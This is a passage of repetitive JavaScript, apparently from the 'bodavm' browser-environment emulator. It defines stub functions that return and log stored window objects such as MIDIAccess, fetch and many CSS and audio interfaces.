bodavm.memory.globalobj['ServiceWorkerContainer']; console.log_copy(`window_ServiceWorkerContainer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ServiceWorker = function () { let arg = bodavm.memory.globalobj['ServiceWorker']; console.log_copy(`window_ServiceWorker`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SensorErrorEvent = function () { let arg = bodavm.memory.globalobj['SensorErrorEvent']; console.log_copy(`window_SensorErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Sensor = function () { let arg = bodavm.memory.globalobj['Sensor']; console.log_copy(`window_Sensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RelativeOrientationSensor = function () { let arg = bodavm.memory.globalobj['RelativeOrientationSensor']; console.log_copy(`window_RelativeOrientationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCIceTransport = function () { let arg = bodavm.memory.globalobj['RTCIceTransport']; console.log_copy(`window_RTCIceTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PasswordCredential = function () { let arg = bodavm.memory.globalobj['PasswordCredential']; console.log_copy(`window_PasswordCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OrientationSensor = function () { let arg = bodavm.memory.globalobj['OrientationSensor']; console.log_copy(`window_OrientationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigatorManagedData = function () { let arg = bodavm.memory.globalobj['NavigatorManagedData']; console.log_copy(`window_NavigatorManagedData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NavigationPreloadManager = function () { let arg = bodavm.memory.globalobj['NavigationPreloadManager']; console.log_copy(`window_NavigationPreloadManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeys = function () { let arg = bodavm.memory.globalobj['MediaKeys']; console.log_copy(`window_MediaKeys`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeySystemAccess = function () { let arg = bodavm.memory.globalobj['MediaKeySystemAccess']; console.log_copy(`window_MediaKeySystemAccess`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeyStatusMap = function () { let arg = bodavm.memory.globalobj['MediaKeyStatusMap']; console.log_copy(`window_MediaKeyStatusMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeySession = function () { let arg = bodavm.memory.globalobj['MediaKeySession']; console.log_copy(`window_MediaKeySession`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaKeyMessageEvent = function () { let arg = bodavm.memory.globalobj['MediaKeyMessageEvent']; console.log_copy(`window_MediaKeyMessageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaDevices = function () { let arg = bodavm.memory.globalobj['MediaDevices']; console.log_copy(`window_MediaDevices`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaDeviceInfo = function () { let arg = bodavm.memory.globalobj['MediaDeviceInfo']; console.log_copy(`window_MediaDeviceInfo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIPort = function () { let arg = bodavm.memory.globalobj['MIDIPort']; console.log_copy(`window_MIDIPort`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIOutputMap = function () { let arg = bodavm.memory.globalobj['MIDIOutputMap']; console.log_copy(`window_MIDIOutputMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIOutput = function () { let arg = bodavm.memory.globalobj['MIDIOutput']; console.log_copy(`window_MIDIOutput`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIMessageEvent = function () { let arg = bodavm.memory.globalobj['MIDIMessageEvent']; console.log_copy(`window_MIDIMessageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIInputMap = function () { let arg = bodavm.memory.globalobj['MIDIInputMap']; console.log_copy(`window_MIDIInputMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIInput = function () { let arg = bodavm.memory.globalobj['MIDIInput']; console.log_copy(`window_MIDIInput`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIConnectionEvent = function () { let arg = bodavm.memory.globalobj['MIDIConnectionEvent']; console.log_copy(`window_MIDIConnectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MIDIAccess = function () { let arg = bodavm.memory.globalobj['MIDIAccess']; console.log_copy(`window_MIDIAccess`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LockManager = function () { let arg = bodavm.memory.globalobj['LockManager']; console.log_copy(`window_LockManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Lock = function () { let arg = bodavm.memory.globalobj['Lock']; console.log_copy(`window_Lock`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LinearAccelerationSensor = function () { let arg = bodavm.memory.globalobj['LinearAccelerationSensor']; console.log_copy(`window_LinearAccelerationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_KeyboardLayoutMap = function () { let arg = bodavm.memory.globalobj['KeyboardLayoutMap']; console.log_copy(`window_KeyboardLayoutMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Keyboard = function () { let arg = bodavm.memory.globalobj['Keyboard']; console.log_copy(`window_Keyboard`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Gyroscope = function () { let arg = bodavm.memory.globalobj['Gyroscope']; console.log_copy(`window_Gyroscope`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_FederatedCredential = function () { let arg = bodavm.memory.globalobj['FederatedCredential']; console.log_copy(`window_FederatedCredential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceOrientationEvent = function () { let arg = bodavm.memory.globalobj['DeviceOrientationEvent']; console.log_copy(`window_DeviceOrientationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceMotionEventRotationRate = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventRotationRate']; console.log_copy(`window_DeviceMotionEventRotationRate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceMotionEventAcceleration = function () { let arg = bodavm.memory.globalobj['DeviceMotionEventAcceleration']; console.log_copy(`window_DeviceMotionEventAcceleration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DeviceMotionEvent = function () { let arg = bodavm.memory.globalobj['DeviceMotionEvent']; console.log_copy(`window_DeviceMotionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CryptoKey = function () { let arg = bodavm.memory.globalobj['CryptoKey']; console.log_copy(`window_CryptoKey`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CredentialsContainer = function () { let arg = bodavm.memory.globalobj['CredentialsContainer']; console.log_copy(`window_CredentialsContainer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Credential = function () { let arg = bodavm.memory.globalobj['Credential']; console.log_copy(`window_Credential`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CookieStoreManager = function () { let arg = bodavm.memory.globalobj['CookieStoreManager']; console.log_copy(`window_CookieStoreManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CookieChangeEvent = function () { let arg = bodavm.memory.globalobj['CookieChangeEvent']; console.log_copy(`window_CookieChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ClipboardItem = function () { let arg = bodavm.memory.globalobj['ClipboardItem']; console.log_copy(`window_ClipboardItem`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Clipboard = function () { let arg = bodavm.memory.globalobj['Clipboard']; console.log_copy(`window_Clipboard`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Cache = function () { let arg = bodavm.memory.globalobj['Cache']; console.log_copy(`window_Cache`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioWorklet = function () { let arg = bodavm.memory.globalobj['AudioWorklet']; console.log_copy(`window_AudioWorklet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Accelerometer = function () { let arg = bodavm.memory.globalobj['Accelerometer']; console.log_copy(`window_Accelerometer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbsoluteOrientationSensor = function () { let arg = bodavm.memory.globalobj['AbsoluteOrientationSensor']; console.log_copy(`window_AbsoluteOrientationSensor`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitRequestAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitRequestAnimationFrame']; console.log_copy(`window_webkitRequestAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_webkitCancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['webkitCancelAnimationFrame']; console.log_copy(`window_webkitCancelAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_structuredClone = function () { let arg = bodavm.memory.globalobj['structuredClone']; console.log_copy(`window_structuredClone`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_stop = function () { let arg = bodavm.memory.globalobj['stop']; console.log_copy(`window_stop`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_scrollTo = function () { let arg = bodavm.memory.globalobj['scrollTo']; console.log_copy(`window_scrollTo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_scrollBy = function () { let arg = bodavm.memory.globalobj['scrollBy']; console.log_copy(`window_scrollBy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_scroll = function () { let arg = bodavm.memory.globalobj['scroll']; console.log_copy(`window_scroll`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_resizeTo = function () { let arg = bodavm.memory.globalobj['resizeTo']; console.log_copy(`window_resizeTo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_resizeBy = function () { let arg = bodavm.memory.globalobj['resizeBy']; console.log_copy(`window_resizeBy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_requestIdleCallback = function () { let arg = bodavm.memory.globalobj['requestIdleCallback']; console.log_copy(`window_requestIdleCallback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_requestAnimationFrame = function () { let arg = bodavm.memory.globalobj['requestAnimationFrame']; console.log_copy(`window_requestAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_reportError = function () { let arg = bodavm.memory.globalobj['reportError']; console.log_copy(`window_reportError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_releaseEvents = function () { let arg = bodavm.memory.globalobj['releaseEvents']; console.log_copy(`window_releaseEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_queueMicrotask = function () { let arg = bodavm.memory.globalobj['queueMicrotask']; console.log_copy(`window_queueMicrotask`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_prompt = function () { let arg = bodavm.memory.globalobj['prompt']; console.log_copy(`window_prompt`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_print = function () { let arg = bodavm.memory.globalobj['print']; console.log_copy(`window_print`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_postMessage = function () { let arg = bodavm.memory.globalobj['postMessage']; console.log_copy(`window_postMessage`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_open = function () { let arg = bodavm.memory.globalobj['open']; console.log_copy(`window_open`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_moveTo = function () { let arg = bodavm.memory.globalobj['moveTo']; console.log_copy(`window_moveTo`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_moveBy = function () { let arg = bodavm.memory.globalobj['moveBy']; console.log_copy(`window_moveBy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getSelection = function () { let arg = bodavm.memory.globalobj['getSelection']; console.log_copy(`window_getSelection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_getComputedStyle = function () { let arg = bodavm.memory.globalobj['getComputedStyle']; console.log_copy(`window_getComputedStyle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_focus = function () { let arg = bodavm.memory.globalobj['focus']; console.log_copy(`window_focus`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_find = function () { let arg = bodavm.memory.globalobj['find']; console.log_copy(`window_find`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_fetch = function () { let arg = bodavm.memory.globalobj['fetch']; console.log_copy(`window_fetch`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_createImageBitmap = function () { let arg = bodavm.memory.globalobj['createImageBitmap']; console.log_copy(`window_createImageBitmap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_confirm = function () { let arg = bodavm.memory.globalobj['confirm']; console.log_copy(`window_confirm`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_close = function () { let arg = bodavm.memory.globalobj['close']; console.log_copy(`window_close`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_clearTimeout = function () { let arg = bodavm.memory.globalobj['clearTimeout']; console.log_copy(`window_clearTimeout`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_clearInterval = function () { let arg = bodavm.memory.globalobj['clearInterval']; console.log_copy(`window_clearInterval`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_captureEvents = function () { let arg = bodavm.memory.globalobj['captureEvents']; console.log_copy(`window_captureEvents`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_cancelIdleCallback = function () { let arg = bodavm.memory.globalobj['cancelIdleCallback']; console.log_copy(`window_cancelIdleCallback`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_cancelAnimationFrame = function () { let arg = bodavm.memory.globalobj['cancelAnimationFrame']; console.log_copy(`window_cancelAnimationFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbortController = function () { let arg = bodavm.memory.globalobj['AbortController']; console.log_copy(`window_AbortController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbortSignal = function () { let arg = bodavm.memory.globalobj['AbortSignal']; console.log_copy(`window_AbortSignal`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AbstractRange = function () { let arg = bodavm.memory.globalobj['AbstractRange']; console.log_copy(`window_AbstractRange`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnalyserNode = function () { let arg = bodavm.memory.globalobj['AnalyserNode']; console.log_copy(`window_AnalyserNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Animation = function () { let arg = bodavm.memory.globalobj['Animation']; console.log_copy(`window_Animation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationEffect = function () { let arg = bodavm.memory.globalobj['AnimationEffect']; console.log_copy(`window_AnimationEffect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AnimationEvent = function () { let arg = bodavm.memory.globalobj['AnimationEvent']; console.log_copy(`window_AnimationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Attr = function () { let arg = bodavm.memory.globalobj['Attr']; console.log_copy(`window_Attr`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioBuffer = function () { let arg = bodavm.memory.globalobj['AudioBuffer']; console.log_copy(`window_AudioBuffer`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioBufferSourceNode = function () { let arg = bodavm.memory.globalobj['AudioBufferSourceNode']; console.log_copy(`window_AudioBufferSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioContext = function () { let arg = bodavm.memory.globalobj['AudioContext']; console.log_copy(`window_AudioContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioDestinationNode = function () { let arg = bodavm.memory.globalobj['AudioDestinationNode']; console.log_copy(`window_AudioDestinationNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioListener = function () { let arg = bodavm.memory.globalobj['AudioListener']; console.log_copy(`window_AudioListener`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioNode = function () { let arg = bodavm.memory.globalobj['AudioNode']; console.log_copy(`window_AudioNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioParam = function () { let arg = bodavm.memory.globalobj['AudioParam']; console.log_copy(`window_AudioParam`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioParamMap = function () { let arg = bodavm.memory.globalobj['AudioParamMap']; console.log_copy(`window_AudioParamMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioProcessingEvent = function () { let arg = bodavm.memory.globalobj['AudioProcessingEvent']; console.log_copy(`window_AudioProcessingEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioScheduledSourceNode = function () { let arg = bodavm.memory.globalobj['AudioScheduledSourceNode']; console.log_copy(`window_AudioScheduledSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_AudioWorkletNode = function () { let arg = bodavm.memory.globalobj['AudioWorkletNode']; console.log_copy(`window_AudioWorkletNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BaseAudioContext = function () { let arg = bodavm.memory.globalobj['BaseAudioContext']; console.log_copy(`window_BaseAudioContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BatteryManager = function () { let arg = bodavm.memory.globalobj['BatteryManager']; console.log_copy(`window_BatteryManager`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BeforeInstallPromptEvent = function () { let arg = bodavm.memory.globalobj['BeforeInstallPromptEvent']; console.log_copy(`window_BeforeInstallPromptEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BeforeUnloadEvent = function () { let arg = bodavm.memory.globalobj['BeforeUnloadEvent']; console.log_copy(`window_BeforeUnloadEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BiquadFilterNode = function () { let arg = bodavm.memory.globalobj['BiquadFilterNode']; console.log_copy(`window_BiquadFilterNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Blob = function () { let arg = bodavm.memory.globalobj['Blob']; console.log_copy(`window_Blob`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BlobEvent = function () { let arg = bodavm.memory.globalobj['BlobEvent']; console.log_copy(`window_BlobEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_BroadcastChannel = function () { let arg = bodavm.memory.globalobj['BroadcastChannel']; console.log_copy(`window_BroadcastChannel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ByteLengthQueuingStrategy = function () { let arg = bodavm.memory.globalobj['ByteLengthQueuingStrategy']; console.log_copy(`window_ByteLengthQueuingStrategy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CDATASection = function () { let arg = bodavm.memory.globalobj['CDATASection']; console.log_copy(`window_CDATASection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSConditionRule = function () { let arg = bodavm.memory.globalobj['CSSConditionRule']; console.log_copy(`window_CSSConditionRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSCounterStyleRule = function () { let arg = bodavm.memory.globalobj['CSSCounterStyleRule']; console.log_copy(`window_CSSCounterStyleRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSFontFaceRule = function () { let arg = bodavm.memory.globalobj['CSSFontFaceRule']; console.log_copy(`window_CSSFontFaceRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSGroupingRule = function () { let arg = bodavm.memory.globalobj['CSSGroupingRule']; console.log_copy(`window_CSSGroupingRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSImageValue = function () { let arg = bodavm.memory.globalobj['CSSImageValue']; console.log_copy(`window_CSSImageValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSImportRule = function () { let arg = bodavm.memory.globalobj['CSSImportRule']; console.log_copy(`window_CSSImportRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSKeyframeRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframeRule']; console.log_copy(`window_CSSKeyframeRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSKeyframesRule = function () { let arg = bodavm.memory.globalobj['CSSKeyframesRule']; console.log_copy(`window_CSSKeyframesRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSKeywordValue = function () { let arg = bodavm.memory.globalobj['CSSKeywordValue']; console.log_copy(`window_CSSKeywordValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSLayerBlockRule = function () { let arg = bodavm.memory.globalobj['CSSLayerBlockRule']; console.log_copy(`window_CSSLayerBlockRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSLayerStatementRule = function () { let arg = bodavm.memory.globalobj['CSSLayerStatementRule']; console.log_copy(`window_CSSLayerStatementRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathClamp = function () { let arg = bodavm.memory.globalobj['CSSMathClamp']; console.log_copy(`window_CSSMathClamp`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathInvert = function () { let arg = bodavm.memory.globalobj['CSSMathInvert']; console.log_copy(`window_CSSMathInvert`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathMax = function () { let arg = bodavm.memory.globalobj['CSSMathMax']; console.log_copy(`window_CSSMathMax`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathMin = function () { let arg = bodavm.memory.globalobj['CSSMathMin']; console.log_copy(`window_CSSMathMin`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathNegate = function () { let arg = bodavm.memory.globalobj['CSSMathNegate']; console.log_copy(`window_CSSMathNegate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathProduct = function () { let arg = bodavm.memory.globalobj['CSSMathProduct']; console.log_copy(`window_CSSMathProduct`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathSum = function () { let arg = bodavm.memory.globalobj['CSSMathSum']; console.log_copy(`window_CSSMathSum`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMathValue = function () { let arg = bodavm.memory.globalobj['CSSMathValue']; console.log_copy(`window_CSSMathValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMatrixComponent = function () { let arg = bodavm.memory.globalobj['CSSMatrixComponent']; console.log_copy(`window_CSSMatrixComponent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSMediaRule = function () { let arg = bodavm.memory.globalobj['CSSMediaRule']; console.log_copy(`window_CSSMediaRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSNamespaceRule = function () { let arg = bodavm.memory.globalobj['CSSNamespaceRule']; console.log_copy(`window_CSSNamespaceRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSNumericArray = function () { let arg = bodavm.memory.globalobj['CSSNumericArray']; console.log_copy(`window_CSSNumericArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSNumericValue = function () { let arg = bodavm.memory.globalobj['CSSNumericValue']; console.log_copy(`window_CSSNumericValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPageRule = function () { let arg = bodavm.memory.globalobj['CSSPageRule']; console.log_copy(`window_CSSPageRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPerspective = function () { let arg = bodavm.memory.globalobj['CSSPerspective']; console.log_copy(`window_CSSPerspective`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPositionValue = function () { let arg = bodavm.memory.globalobj['CSSPositionValue']; console.log_copy(`window_CSSPositionValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSPropertyRule = function () { let arg = bodavm.memory.globalobj['CSSPropertyRule']; console.log_copy(`window_CSSPropertyRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSRotate = function () { let arg = bodavm.memory.globalobj['CSSRotate']; console.log_copy(`window_CSSRotate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSRule = function () { let arg = bodavm.memory.globalobj['CSSRule']; console.log_copy(`window_CSSRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSRuleList = function () { let arg = bodavm.memory.globalobj['CSSRuleList']; console.log_copy(`window_CSSRuleList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSScale = function () { let arg = bodavm.memory.globalobj['CSSScale']; console.log_copy(`window_CSSScale`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSkew = function () { let arg = bodavm.memory.globalobj['CSSSkew']; console.log_copy(`window_CSSSkew`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSkewX = function () { let arg = bodavm.memory.globalobj['CSSSkewX']; console.log_copy(`window_CSSSkewX`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSkewY = function () { let arg = bodavm.memory.globalobj['CSSSkewY']; console.log_copy(`window_CSSSkewY`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleDeclaration = function () { let arg = bodavm.memory.globalobj['CSSStyleDeclaration']; console.log_copy(`window_CSSStyleDeclaration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleRule = function () { let arg = bodavm.memory.globalobj['CSSStyleRule']; console.log_copy(`window_CSSStyleRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleSheet = function () { let arg = bodavm.memory.globalobj['CSSStyleSheet']; console.log_copy(`window_CSSStyleSheet`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSStyleValue = function () { let arg = bodavm.memory.globalobj['CSSStyleValue']; console.log_copy(`window_CSSStyleValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSSupportsRule = function () { let arg = bodavm.memory.globalobj['CSSSupportsRule']; console.log_copy(`window_CSSSupportsRule`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTransformComponent = function () { let arg = bodavm.memory.globalobj['CSSTransformComponent']; console.log_copy(`window_CSSTransformComponent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTransformValue = function () { let arg = bodavm.memory.globalobj['CSSTransformValue']; console.log_copy(`window_CSSTransformValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSTranslate = function () { let arg = bodavm.memory.globalobj['CSSTranslate']; console.log_copy(`window_CSSTranslate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSUnitValue = function () { let arg = bodavm.memory.globalobj['CSSUnitValue']; console.log_copy(`window_CSSUnitValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSUnparsedValue = function () { let arg = bodavm.memory.globalobj['CSSUnparsedValue']; console.log_copy(`window_CSSUnparsedValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CSSVariableReferenceValue = function () { let arg = bodavm.memory.globalobj['CSSVariableReferenceValue']; console.log_copy(`window_CSSVariableReferenceValue`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasCaptureMediaStreamTrack = function () { let arg = bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack']; console.log_copy(`window_CanvasCaptureMediaStreamTrack`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasFilter = function () { let arg = bodavm.memory.globalobj['CanvasFilter']; console.log_copy(`window_CanvasFilter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasGradient = function () { let arg = bodavm.memory.globalobj['CanvasGradient']; console.log_copy(`window_CanvasGradient`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasPattern = function () { let arg = bodavm.memory.globalobj['CanvasPattern']; console.log_copy(`window_CanvasPattern`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['CanvasRenderingContext2D']; console.log_copy(`window_CanvasRenderingContext2D`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ChannelMergerNode = function () { let arg = bodavm.memory.globalobj['ChannelMergerNode']; console.log_copy(`window_ChannelMergerNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ChannelSplitterNode = function () { let arg = bodavm.memory.globalobj['ChannelSplitterNode']; console.log_copy(`window_ChannelSplitterNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CharacterData = function () { let arg = bodavm.memory.globalobj['CharacterData']; console.log_copy(`window_CharacterData`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ClipboardEvent = function () { let arg = bodavm.memory.globalobj['ClipboardEvent']; console.log_copy(`window_ClipboardEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CloseEvent = function () { let arg = bodavm.memory.globalobj['CloseEvent']; console.log_copy(`window_CloseEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Comment = function () { let arg = bodavm.memory.globalobj['Comment']; console.log_copy(`window_Comment`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CompositionEvent = function () { let arg = bodavm.memory.globalobj['CompositionEvent']; console.log_copy(`window_CompositionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CompressionStream = function () { let arg = bodavm.memory.globalobj['CompressionStream']; console.log_copy(`window_CompressionStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ConstantSourceNode = function () { let arg = bodavm.memory.globalobj['ConstantSourceNode']; console.log_copy(`window_ConstantSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ConvolverNode = function () { let arg = bodavm.memory.globalobj['ConvolverNode']; console.log_copy(`window_ConvolverNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CountQueuingStrategy = function () { let arg = bodavm.memory.globalobj['CountQueuingStrategy']; console.log_copy(`window_CountQueuingStrategy`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Crypto = function () { let arg = bodavm.memory.globalobj['Crypto']; console.log_copy(`window_Crypto`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_CustomEvent = function () { let arg = bodavm.memory.globalobj['CustomEvent']; console.log_copy(`window_CustomEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMError = function () { let arg = bodavm.memory.globalobj['DOMError']; console.log_copy(`window_DOMError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_DOMException = function () { let arg = 